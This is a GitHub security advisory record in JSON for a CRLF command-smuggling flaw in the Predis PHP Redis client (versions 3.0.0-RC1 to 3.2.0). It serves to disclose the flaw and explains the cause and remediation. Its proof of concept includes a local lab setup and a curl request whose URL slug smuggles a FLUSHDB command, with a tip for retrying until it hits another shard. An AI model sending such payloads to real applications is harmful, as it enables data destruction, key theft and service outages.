{"id":"GHSA-w6f5-v2h6-g786","summary":"Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections","details":"### Summary\n\nAn improper CRLF neutralization flaw in Predis' pipeline handling on\naggregate connections lets an unauthenticated attacker who can influence any\npipelined argument — a value **or** a key, e.g. a URL slug used as a cache key —\nsmuggle arbitrary Redis commands into the connection.\n\n- On **cluster** connections (`cluster` option, incl. client-side sharding) this\n  is remote command injection: shard-wide `FLUSHDB`, targeted `DEL`/`SET`,\n  same-slot key theft via `GET`, cache poisoning, and possible node/cluster\n  outage.\n- On **replication** connections (`replication` option) it is a reliable,\n  repeatable denial of service (uncaught fatal error) triggered by any value\n  containing `\\r\\n`.\n\n### Details\n\nWhen a pipeline is executed over an aggregate connection,\n`AbstractAggregateConnection::write()` re-parses the already-serialized pipeline\nbuffer with `explode(\"\\r\\n\")` instead of honoring RESP length prefixes:\n\n- https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94\n  - splits the buffer on `\\r\\n`, ignoring `$\u003clen\u003e` bulk lengths,\n  - rebuilds each chunk via `Command::deserializeCommand()`\n    (https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157)\n    to decide routing,\n  - writes each chunk to the connection chosen for that (fake) command.\n\nRESP is length-prefixed, so the Redis **server** parses the original stream\ncorrectly — but this second, client-side parser treats attacker-controlled\n`\\r\\n` sequences as command boundaries. An argument such as:\n\n    PAD\\r\\n*1\\r\\n$7\\r\\nFLUSHDB\n\nis a single data value to the server, but a complete, valid `FLUSHDB` command to\nthe re-parser. The consequence depends on the connection type:\n\n- **Replication:** a pipeline forces `switchToMaster()`, so all chunks go to the\n  master and the byte stream stays intact — but the misaligned chunk makes\n  `deserializeCommand()` throw an uncaught `UnexpectedValueException: Invalid\n  serializing format`. Any value containing `\\r\\n` (binary serializers such as\n  igbinary/msgpack, or multi-line text) reliably crashes the request. This is\n  the crash tracked in #1574 — an unauthenticated, repeatable DoS.\n- **Cluster:** chunks are routed to different nodes by slot, so the byte stream\n  is split across sockets. The smuggled command arrives on a node whose stream\n  is clean and is **executed**, though the application never sent it:\n  - `FLUSHDB` wipes an entire shard. It has no key but is routable because\n    `ClusterStrategy::getFakeKey()` hardcodes the fake key `'key'`\n    (https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56\n    and #L243-L246), so the smuggled command always lands on the node serving\n    `slot('key')`.\n  - `INFO` (same fake-key routing) leaks server configuration via orphaned\n    responses; `CLUSTER FLUSHSLOTS` can take a node down.\n  - Same-slot `GET`/`SET`/`DEL` allow key theft (the reply is attributed to the\n    application's own later command on that slot), cache poisoning and targeted\n    data destruction; junk-key floods can exhaust node memory (OOM / mass\n    eviction of legitimate keys).\n  - Lua execution is **not** reachable: `EVAL` cannot be reconstructed (the\n    class is `EVAL_` due to the PHP reserved word), `EVAL_RO` fails the `Keys`\n    trait validation, and `EVALSHA` requires a pre-loaded script. This is\n    accidental, not a designed mitigation, and does not reduce severity —\n    `FLUSHDB`/`DEL`/`SET` alone already permit full cache wipes and data\n    destruction.\n\n**Affected versions.** Introduced in v3.0.0 by PR #1438 (\"Improved pipeline\nabstractions\"). Affected range: **3.0.0-RC1 through 3.2.0** (v3.0.0-alpha1 is not\naffected — the vulnerable code was added after it). v1.x and v2.x are not\naffected; their pipelines write per-command via `writeRequest()` and the\nvulnerable code path does not exist.\n\nOnly `pipeline()` reaches the vulnerable sink; `transaction()` / `MULTI` paths do\nnot.\n\n### Proof of concept\n\nTwo plain `redis:8` containers acting as two shards (PredisCluster shards\nclient-side, so Redis itself need not be in cluster mode); a PHP app on a\nvulnerable Predis checkout (e.g. v3.2.0).\n\n`docker-compose.yml`:\n\n    services:\n      redis1:\n        image: redis:8\n        ports: [\"6391:6379\"]\n      redis2:\n        image: redis:8\n        ports: [\"6392:6379\"]\n\n`index.php` (a normal-looking app — slug from URL → cache lookup):\n\n    \u003c?php\n    require __DIR__ . '/vendor/autoload.php';\n\n    $nodes  = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];\n    $client = new Predis\\Client($nodes, ['cluster' =\u003e 'predis',\n                'parameters' =\u003e ['read_write_timeout' =\u003e 2]]);\n\n    if (isset($_GET['seed'])) {\n        for ($i = 1; $i \u003c= 100; $i++) { $client-\u003eset(\"user:$i\", \"data$i\"); }\n        exit('seeded');\n    }\n\n    $slug = $_GET['slug'] ?? '';\n    try {\n        [$doc] = $client-\u003epipeline()-\u003eget(\"slug:$slug\")-\u003eexecute();\n        echo $doc ?: 'no such slug';\n    } catch (Throwable $e) {\n        http_response_code(500);\n        echo get_class($e);\n    }\n\nRun:\n\n    composer require predis/predis:3.2.0\n    docker compose up -d\n    php -S 127.0.0.1:8080 -t .\n    curl 'http://127.0.0.1:8080/?seed'                       # 100 keys\n\nAttack (smuggled `FLUSHDB` inside the slug):\n\n    curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'\n\nThe slug's first line must hash to a different shard than the fake key `'key'`\n(otherwise the truncated bytes swallow the injection and the request simply\n404s). With two shards this is ~50% per attempt — retry `PAD0`, `PAD1`, … until\nthe request returns 500. More shards make the attack **easier**: the per-attempt\nhit probability is `(N-1)/N`, so on production clusters with many shards the\nfirst request succeeds with near-certainty.\n\nVerified result: `dbsize` across both shards drops 100 → 62; one shard was wiped\nby a `FLUSHDB` the application never issued (it only ever ran `GET`/`SET` on\nnormal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent\nof commit `053cb4b6` and fails on `053cb4b6`.\n\n### Impact\n\nCWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command\ninjection / protocol smuggling and denial of service. Any application on\n**predis/predis 3.0.0-RC1 – 3.2.0** that calls `pipeline()` on a cluster or\nreplication connection and includes attacker-influenced data (values **or**\nkeys — e.g. cache keys built from URL slugs) in the pipelined commands is\naffected. This is a common pattern for cache lookups, sessions and queued\nwrites.\n\n- **Cluster:** unauthenticated remote command injection — shard-wide cache wipe\n  (`FLUSHDB`), targeted destruction (`DEL`), cache poisoning (`SET`), same-slot\n  key theft (`GET`), node memory exhaustion (key flood), possible cluster outage\n  (`CLUSTER FLUSHSLOTS`).\n- **Replication:** reliable unauthenticated DoS on every affected request.\n\n### Remediation\n\nUpgrade to **predis/predis 3.3.0 or later**. The fix (PR #1586, commit\n`053cb4b6`) makes pipelines on aggregate connections write each command using the\nreal `Command` object, eliminating the second, byte-splitting parser.\n\nUsers who cannot upgrade immediately should avoid calling `pipeline()` on\naggregate (cluster / replication) connections with any attacker-influenced keys\nor values; there is no reliable in-application way to neutralize the embedded\n`\\r\\n` while the second parser remains in the code path.","aliases":["CVE-2026-84372"],"modified":"2026-09-08T21:15:04.996961700Z","published":"2026-09-08T20:57:50Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-08T20:57:50Z","nvd_published_at":"2026-09-01T22:17:18Z","cwe_ids":["CWE-93"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/predis/predis/security/advisories/GHSA-w6f5-v2h6-g786"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84372"},{"type":"WEB","url":"https://github.com/predis/predis/issues/1574"},{"type":"WEB","url":"https://github.com/predis/predis/pull/1586"},{"type":"WEB","url":"https://github.com/predis/predis/commit/053cb4b6ac7fb1f469ead96a78d059bc0458e408"},{"type":"PACKAGE","url":"https://github.com/predis/predis"},{"type":"WEB","url":"https://github.com/predis/predis/releases/tag/v3.3.0"}],"affected":[{"package":{"name":"predis/predis","ecosystem":"Packagist","purl":"pkg:composer/predis/predis"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0-RC1"},{"fixed":"3.3.0"}]}],"versions":["v3.0.0","v3.0.0-RC1","v3.0.1","v3.1.0","v3.2.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-w6f5-v2h6-g786/GHSA-w6f5-v2h6-g786.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}